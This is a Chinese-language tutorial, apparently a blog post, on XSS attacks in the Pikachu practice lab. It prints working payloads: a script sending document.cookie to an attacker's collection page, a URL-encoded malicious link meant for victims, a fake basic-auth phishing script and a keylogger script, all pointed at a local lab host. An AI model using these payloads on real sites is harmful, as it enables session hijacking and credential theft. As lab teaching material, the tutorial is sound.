黑客是怎么 cookie 获取?钓鱼?键盘记录?
xss 后台的搭建 1 打开 pikachu 找到管理工具 xss 后台

2 点击 xss 后台看到下面的界面就是成功了

3 进行登录页面,登录进去即可。

XSS 案例:盗取 Cookie 实验机器 攻击者 127.0.0.1:88 受害者 127.0.0.1:88 漏洞服务器 127.0.0.1:88 攻击流程

修改 C:\xampp\htdocs\pkxss\xcookie 下的 cookie.php,将 IP 地址改为漏洞服务器的地址(这里注意一下因为 xss 后台是可以单独拿出来运行的后台,所以我将 pkxss 后台文件从 pikachu 文件拿出来放在 pikachu 同一目录下)

surprise! 500G 网络安全学习资料,👉戳此免费获取
**注意:**由于我把 pkxss 文件从 pikachu 拿出来,如果我们从 pikachu 平台进入 xss 平台不会成功,这个时候我们想进入 xss 后台只需要在游览器输入http://127.0.0.1:88/pkxss/index.php


xss(get)的窃取和利用 在这里我准备了一段 js 的代码,它会通过 document 里面的这个 location 这么一个实例,来做一个重定向,他会访问我们这个http://127.0.0.1:88/pkxss/xcookie/cookie.php
的后台页面,访问的时候通过 document 中的 cookie 把本地 cookie 的值带过去。 1 打开 pikachu 平台的反射型 xss(get)输入<script>document.location='http://127.0.0.1:88/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
(输入之前要修改长度限制之前文章讲过)

当用户提交的时候,我们就能取得用户的 Cookie, 提交过后页面刷新到 pikachu 的页面这样达到我们想要要求。 2 打开 xss 后台,可以看见刚刚我们获取的 cookie

在实际的场景中我们可以把http://127.0.0.1:88/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F127.0.0.1%3A88%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
发送给用户,一旦他访问啦这个链接,我们便会获得他的 cookie 值,

图中第二个就是别人访问时我们获取的 cookie。
xss(post) 基本原理

实验之前需要将 C:\xampp\htdocs\pkxss\xcookie 的 post-html 数据进行相应的 id 更改这两个地址分别是漏洞服务器 和 攻击者 的服务器地址

1 我们首先是登录一下

2 这里是以 POST 的方式提交的,参数内容不会出现在 URL 中,可以抓包看一下

这时候我们不能直接把我们的恶意代码嵌入到 URL 中 3 我们只需要诱导受害者点击http://127.0.0.1:88/pkxss/xcookie/post.html
链接就能窃取用户的 Cookie

xss 漏洞钓鱼 思路:构造一个 payload 嵌入到网页中,让用户每次访问这个页面时都会执行我们的 payload,我的 payload:<script src="http://127.0.0.1:88/pkxss/xfish/fish.php"></script>
意思是访问 fish.php 文件。 fish.php 文件内容如下:

fish 文件做的事情是:判断用户是否输入了账号和密码,缺一不可,如果没有则弹出一个 basic 验证,如图

当输入账号和密码的时候他就会带着账号和密码访问另一个文件(网页),这个文件就是 xfish.php xfish 文件如下:

作用是把传来的账号和密码上传到我们(攻击者)的数据库中。 如果你在 basic 验证框中输入了账号和密码,如图:

则攻击者的数据库中会存有你输入的账号和密码,如图:

xss 键盘信息获取 在实验前,我们先了解下什么是跨越


为什么要有同源策略: 设置同源策略的主要目的是为了安全,如果没有同源限制,在浏览器中的 cookie 等其他数据可以任意读取,不同域下的 DOM 任意操作,ajax 任意请求其他网站的数据,包括隐私数据 开始操作 1 修改 ip,ip 修改为自己 pkxss 后台的 ip 地址

2 在对话框输入<script src=" http://127.0.0.1:88/pkxss/rkeypress/rk.js"> </script>
(这个违反了同源策略,但是由于 127.0.0.1:88/pkxss/rkeypress/rkserver.php 是攻击者自己搭建的,攻击者可以允许所有的人跨域请求他)

3 我们随便输入几个数字或者字母,会发现我们的 js 能把我们的输入全都抓下来。

评论